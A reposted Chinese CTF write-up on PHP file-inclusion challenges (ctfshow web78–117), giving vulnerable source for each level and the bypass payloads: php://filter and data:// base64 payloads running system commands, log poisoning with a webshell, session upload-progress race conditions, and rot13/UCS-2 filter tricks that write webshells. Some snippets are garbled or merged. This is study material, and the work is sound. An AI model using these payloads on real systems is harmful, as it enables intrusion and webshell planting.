返回顶部
首页 > 资讯 > 后端开发 > PHP编程 >文件包含入门到入yu
  • 525
分享到

文件包含入门到入yu

php开发语言安全渗透测试文件包含 2023-09-02 13:09:08 525人浏览 独家记忆
摘要

WEB78 题目: payload: 剩下同理上一题 web84 题目:

WEB78

题目:

PHPif(isset($_GET['file'])){    $file = $_GET['file'];    include($file);}else{    highlight_file(__FILE__);}

最简单的文件包含,盲猜flag在当前目录

payload:

?file=php://filter/convert.base64-encode/resource=flag.php

web79

题目:

if(isset($_GET['file'])){    $file = $_GET['file'];    $file = str_replace("php", "???", $file);    include($file);}else{    highlight_file(__FILE__);}

有点小过滤,过滤了php,但是问题不大,换成data协议,然后用base64加密

payload:

file=data://text/plain;base64,PD9waHAGC3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

Ctrl+U查看flag

web80

题目

if(isset($_GET['file'])){    $file = $_GET['file'];    $file = str_replace("php", "???", $file);    $file = str_replace("data", "???", $file);    include($file);}else{    highlight_file(__FILE__);}

刚用完data就把data禁了,真好,那包含日志文件吧

Nginx日志在/var/log/nginx/access.logapache日志在类似目录下/var/log/Httpd/access.log

请添加图片描述

看他日志中记录的内容,burp抓包在相应位置写入一句话木马,蚁剑连接拿下,或者直接执行命令

payload1:

请添加图片描述

payload2:

和前两个题一样思路运用伪协议,这里注意PHP大小写都行,但是data只能小写,我们可以用PhP绕过过滤php[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传
请添加图片描述

web81

题目:

if(isset($_GET['file'])){    $file = $_GET['file'];    $file = str_replace("php", "???", $file);    $file = str_replace("data", "???", $file);    $file = str_replace(":", "???", $file);    include($file);}else{    highlight_file(__FILE__);}

过滤了冒号,用上面日志的方法

payload:

在这里插入图片描述

web82

题目:

if(isset($_GET['file'])){    $file = $_GET['file'];    $file = str_replace("php", "???", $file);    $file = str_replace("data", "???", $file);    $file = str_replace(":", "???", $file);    $file = str_replace(".", "???", $file);    include($file);}else{    highlight_file(__FILE__);}

多过滤了“点”,php中我们唯一能控制的无后缀的就是session文件,复习一些知识,php5.4之后php.ini开始有几个默认选项

该功能是在php5.4添加的,首先先了解下php.ini以下的几个默认选项

session.upload_progress.enable = onsession.upload_progress.cleanup = onsession.upload_progress.prefix = "upload_progress_"session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"
  • enable = on表示upload_progress功能开始,也意味着当浏览器向服务器上传一个文件时,php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中 ;
  • cleanup = on表示当文件上传结束后,php将会立即清空对应session文件中的内容,这个选项非常重要;
  • name当它出现在表单中,php将会报告上传进度,最大的好处是,它的值可控;
  • prefix+name将表示为session中的键名;
  • 另外还有一个session配置中的重要选项:session.use_strict_mode=off这个选项默认值为off,表示我们对Cookie中sessionid可控。

我们知道平时初始化session的时候我们要写个session_start(),但是如果session.auto_start=on,则php会在接收请求的时候会自动初始化Session,不再需要执行session_start()。这时候session还要用到一个默认选项session.use_strict_mode默认值为0。此时用户是可以自己定义Session ID的。举个栗子,我们在Cookie里设置PHPSESSID=jiangnaij,PHP将会在服务器创建一个文件/tmp/sess_jiangnaij。即使此时用户没有初始化Session,PHP也会自动初始化Session并产生一个键值jiangnaij,这个键值由ini.get(“session.upload_progress.prefix”)+由我们构造的session.upload_progress.name值组成,最后被写入sess_文件里;

简而言之,我们自定义的PHPSESSID的值会变成文件名,比如定义PHPSESSID:jiangnaij,文件名即为/tmp/sess_jiangnaij,而PHP_SESSION_UPLOAD_PROGRESS的值即为该文件的内容

但是由于cleanup=on,会导致文件上传后,session文件的内容立即清空。此时我们得利用条件竞争,在session文件的内容被清空前进行文件包含

用POST的形式发包,上传的文件随意,下面是构造的上传表单

DOCTYPE html><html><body><fORM action="IP地址" method="POST" enctype="multipart/form-data">    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="flag" />    <input type="file" name="file" />    <input type="submit" value="submit" />form>body>html>

发包的时候抓个包

请添加图片描述

因为我们在上面这个页面添加的ID值是jiangnaij,所以传参?file=/tmp/sess_jiangnaij,抓包

请添加图片描述

请添加图片描述

这里写个jiangnaij=1是为了方便爆破,两个包的设置都如下

请添加图片描述

payload:

条件竞争长度排序可以得到目录,flag同理

web83

题目:

Warning: session_destroy(): Trying to destroy uninitialized session in /var/www/html/index.php on line 14<?phpsession_unset();session_destroy();if(isset($_GET['file'])){    $file = $_GET['file'];    $file = str_replace("php", "???", $file);    $file = str_replace("data", "???", $file);    $file = str_replace(":", "???", $file);    $file = str_replace(".", "???", $file);    include($file);}else{    highlight_file(__FILE__);}

看到Warning我们知道他把session_destroy了,那我们就加个Session_start,

表单如下:

DOCTYPE html><html><body><form action="ip地址" method="POST" enctype="multipart/form-data"><input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="2333" /><input type="file" name="file" /><input type="submit" value="submit" />form>body>html>

payload:

剩下同理上一题

web84

题目:

if(isset($_GET['file'])){    $file = $_GET['file'];    $file = str_replace("php", "???", $file);    $file = str_replace("data", "???", $file);    $file = str_replace(":", "???", $file);    $file = str_replace(".", "???", $file);    system("rm -rf /tmpif(isset($_GET['file'])){    $file = $_GET['file'];    $file = str_replace("php", "???", $file);    $file = str_replace("data", "???", $file);    $file = str_replace(":", "???", $file);    $file = str_replace(".", "???", $file);    if(file_exists($file)){        $content = file_get_contents($file);        if(strpos($content, "<")>0){            die("error");        }        include($file);    }    }else{    highlight_file(__FILE__);}

和上题一样,因为多线程的原因可以执行成功。不行的话可以多加几个线程

payload:

同上

web86

题目:

define('还要秀?', dirname(__FILE__));set_include_path(还要秀?);if(isset($_GET['file'])){    $file = $_GET['file'];    $file = str_replace("php", "???", $file);    $file = str_replace("data", "???", $file);    $file = str_replace(":", "???", $file);    $file = str_replace(".", "???", $file);    include($file);    }else{    highlight_file(__FILE__);}

限制了include()require()的路径,但是并不影响上一题的payload,继续使用上一题的方法。

好像是这样的原因:
平时include()/require()文件的时候,PHP先会在当前目录下找找有没有这个路径,如果没有,然后就会在include paths里面找

所谓的include paths不是一个目录,而是很多个目录,这些目录可以通过get_include_path();得到。

payload:

同上

web87

题目:

if(isset($_GET['file'])){    $file = $_GET['file'];    $content = $_POST['content'];    $file = str_replace("php", "???", $file);    $file = str_replace("data", "???", $file);    $file = str_replace(":", "???", $file);    $file = str_replace(".", "???", $file);    file_put_contents(urldecode($file), "".$content);    }else{    highlight_file(__FILE__);}

可以看到,有两个传入的参数:filecontentfile会进行过滤以及urldecode(),所以传file时需要两次urlencode,这样可以绕过过滤(第一次解码是自动解码,此时字符串里面没有诸如php的字符,第二次解码是代码中的urldecode(),这时候恢复成正常的写过滤器。如果只有一次编码,就不能绕过过滤了)。注意,hackbar没办法进行全编码,使用其他的在线工具就行了。
再看content,如果正常传入php代码,则会因为前头die()的原因直接退出,写个伪协议就行了,可以用base64过滤器或者rot13,这样在写入file文件时候自动解码,连带着前头的一起,就会破坏掉这句die()了。

payload:

/?file=php://filter/write=string.rot13/resource=2.php//两次urlencode后/?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%37%33%25%37%34%25%37%32%25%36%39%25%36%65%25%36%37%25%32%65%25%37%32%25%36%66%25%37%34%25%33%31%25%33%33%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%32%25%32%65%25%37%30%25%36%38%25%37%30

content的内容如下(两次rot13后会变成原样):

content=//rot13编码后:content=

web88

题目:

if(isset($_GET['file'])){    $file = $_GET['file'];    if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){        die("error");    }    include($file);}else{    highlight_file(__FILE__);}

一个过滤的包含,但是没有过滤冒号,可以使用data://协议。但是因为过滤了$.符号,所以需要base64编码。不过还有一点就是base64编码后很容易出现=+,所以需要去调整payload,添加以下字符以保证编码后的payload没有敏感字符:

payload:

/?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgKi5waHAnKTtlY2hvICdhYmRjJzs/PmFh//也就是:/?file=data://text/plain;base64,aa

web116

题目:

是个视频,提示是misc+lif

抓包得到index.php

error_reporting(0);function filter($x){    if(preg_match('/http|https|data|input|rot13|base64|string|log|sess/i',$x)){        die('too young too simple sometimes naive!');    }}$file=isset($_GET['file'])?$_GET['file']:"5.mp4";filter($file);header('Content-Type: video/mp4');header("Content-Length: $file");readfile($file);?>

直接包含flag

payload:

/?file=flag.php

web117

题目:

highlight_file(__FILE__);error_reporting(0);function filter($x){    if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){        die('too young too simple sometimes naive!');    }}$file=$_GET['file'];$contents=$_POST['contents']filter($file);file_put_contents($file, "".$contents);

和前面思路差不多,使用过滤器写入一句话木马,这样在写入后进行过滤器指定的编码(解码)的过程中会把die()函数破坏掉,进而执行我们写入的马
这里有个知识点:convert.iconv.:一种过滤器,和使用iconv()函数处理流数据有等同作用
iconv ( string $in_charset , string $out_charset , string $str ):将字符串$str从$in_charset编码转换到$out_charset
这里引入usc-2的概念,作用是对目标字符串每两位进行一反转,值得注意的是,因为是两位所以字符串需要保持在偶数位上

$result = iconv("UCS-2LE","UCS-2BE", '');echo "经过一次反转:".$result."\n";echo "经过第二次反转:".iconv("UCS-2LE","UCS-2BE", $result);//输出结果如下://经过一次反转:??//经过第二次反转:

payload:

/?file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.phpcontents=??

来源地址:https://blog.csdn.net/qq_45557476/article/details/126715868

--结束END--

本文标题: 文件包含入门到入yu

本文链接: https://lsjlt.com/news/390871.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

猜你喜欢
  • 文件包含入门到入yu
    web78 题目: payload: 剩下同理上一题 web84 题目: ...
    99+
    2023-09-02
    php 开发语言 安全 渗透测试 文件包含
  • CTF入门之php文件包含
    一.php伪协议执行代码 由图可知,只需要通过get请求传送url变量即可触发include函数,一开始的思路是直接才flag的文件名,如flag.php等等,然后都失败了,然后想到了文件包含漏洞,...
    99+
    2023-09-03
    php nginx
  • PHP入门指南:文件包含漏洞
    PHP是一种广泛使用的服务器端编程语言,许多网站和应用程序都使用PHP作为其后端开发语言。然而,与所有编程语言一样,PHP也有其漏洞和安全问题。本文将重点介绍PHP文件包含漏洞,并提供一些简单的建议来帮助您保护您的应用程序免受此类型的攻击。...
    99+
    2023-05-22
    PHP 入门指南 文件包含漏洞
  • Linux从入门到实战 ----文件属性类
    文章目录 文件属性权限字符文件的权限字符目录的权限字符 chmod改变权限chowon改变所有者chgrp改变所属组总结 文件属性 Linux系统是一种典型的多用户系统,不同...
    99+
    2023-09-01
    linux 运维 服务器
  • C++从入门到入土
    W...Y的主页😊 代码仓库分享💕 🍔前言: 我们学习了C语言,有了C语言的底子就更容易学习C++,今天让我们认识一下C++,并了解分析一下C++。 目录 什么是C++ 为什么会出现C...
    99+
    2023-10-21
    c++ 开发语言
  • PHP Phar 扩展入门:构建自包含式应用
    PHP Phar 扩展允许开发者构建自包含式 PHP 应用,其中所有必需的文件和资源都打包在一个档案中。这简化了分布和部署,确保应用可以在任何具有 PHP 运行时环境的系统上运行。 创建 Phar 档案 要创建 Phar 档案,可以使用 ...
    99+
    2024-04-02
  • 揭秘 Java 文件操作:从入门到精通
    ...
    99+
    2024-04-02
  • Go语言七篇入门教程五文件及包
    目录1. 文件处理1.1 JSON文件1.1.1 已知JSON结构1.1.2 未知JSON结构1.1.3 Encoder & Decoder1.2 XML文件1.3 二进制文...
    99+
    2024-04-02
  • GolangCopier入门到入坑探究
    目录正文安装快速入门入坑再探坑出坑再盘一盘坑结语正文 github: https://github.com/jinzhu/copier 由于 golang&nbs...
    99+
    2022-11-21
    Golang Copier入门 Golang Copier
  • d3从入门到出门
    前言 基于d3js 5.5版本基础教程 环境配置 下载最新d3js文件, 参考: d3js官网 当前版本5.5, d3js v4与v3之间的api有一定的差异。 选择元素 d3主要有两个选择器 select 选择相应的dom元素, 如果...
    99+
    2023-01-31
    入门
  • 一文入门Webpack文件指纹
    目录什么是文件指纹文件指纹的作用文件指纹策略占位符介绍文件指纹的设置JS文件指纹设置图片文件指纹设置CSS文件指纹设置设置步骤文件指纹项目应用什么是文件指纹 文件指纹是文件打包后输出...
    99+
    2024-04-02
  • pte 文件包含
    pte 文件包含 文件包含实验1 文件包含实验2 文件包含实验3 文件包含实验1 http:/vulnerabilities/fu1.phpfile=php://filter...
    99+
    2023-09-20
    php 安全 web安全
  • R语言入门使用RStudio制作包含Rcpp代码的R包
    目录1. 创建项目2. 修改一些文件3. 打包4. 使用Eigen或其它依赖库会出现的问题前面博客中有提及,当我们进行模拟想要再次进行提速时,通常都会使用Rcpp将我们的R代码改成C...
    99+
    2024-04-02
  • ctf-web入门-文件上传
    Web 151 考点:后端无验证,前端校验 查看源码可以发现只能上传png图片 修改为php 写一个php文件上传一句话木马  可以发现已经成功上传 查看上级目录发现可疑文件  查看flag.php文件内容得出flag    得到...
    99+
    2023-09-16
    前端 xss web安全
  • ctfshow web入门(文件上传)
    web151 (前端限制) 知识点:修改前端限制 上传时,bp收不到,前端是限制了 修改为php,上传一句话,蚁剑连接 web152(后端限制) 知识点:绕过后端对文件类型限制 后端限制为图片...
    99+
    2023-09-01
    php wp 安全
  • CTFshow web入门——文件上传
    目录 Web 151考点:后端无验证,前端校验 Web 152考点:绕过前端校验 Web 153考点:文件后缀名,黑名单 Web 154-155考点:文件内容过滤,过滤关键字是ph...
    99+
    2023-10-20
    php web安全 安全
  • git入门(3.文件操作)
    三、GIT文件操作  版本控制就是对文件的版本控制,对于Linux来说,设备,目录等全是文件,要对文件进行修改、提交等操作,首先要知道文件当前在什么状态,不然可能会提交了现在还不想提交的文件,或者要提交的文件没提交上。文件状态  GIT仓库...
    99+
    2023-01-31
    入门 操作 文件
  • python入门(四)python对文件
    python对文件的操作很常用,比如我们需要打开一个文件获取数据,或者创建文件改变数据 vi 1.txt hello word 我们创建一个文件叫1.txt,然后我们需要对文件进行操作 1、对文件进行读 file = open("1.tx...
    99+
    2023-01-31
    入门 文件 python
  • Java 文件操作入门指南:从零到精通
    一、文件操作基础 创建文件 创建文件可以使用 java.io.File 类的 createNewFile() 方法。如果文件已经存在,则该方法会抛出 IOException 异常。 File file = new File("myf...
    99+
    2024-02-26
    Java 文件操作 文件创建 文件读取 文件写入 文件复制 文件移动 文件删除 文件锁 文件元数据 Java NIO
  • 文件包含漏洞利用之本地包含配合文件上传包含图片马&&文件包含漏洞利用之远程包含Webshell
    实验原理 文件上传漏洞在绕过内容检测的时候,会制作图片马上传,但是图片马在上传之后,又不能解析。如果网站同时存在文件包含漏洞,利用文件包含无视后缀名,只要被包含的文件内容符合PHP语法规范,任何扩展名都可以被PHP解析的特点来解析上传的图片...
    99+
    2023-10-26
    php 开发语言
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作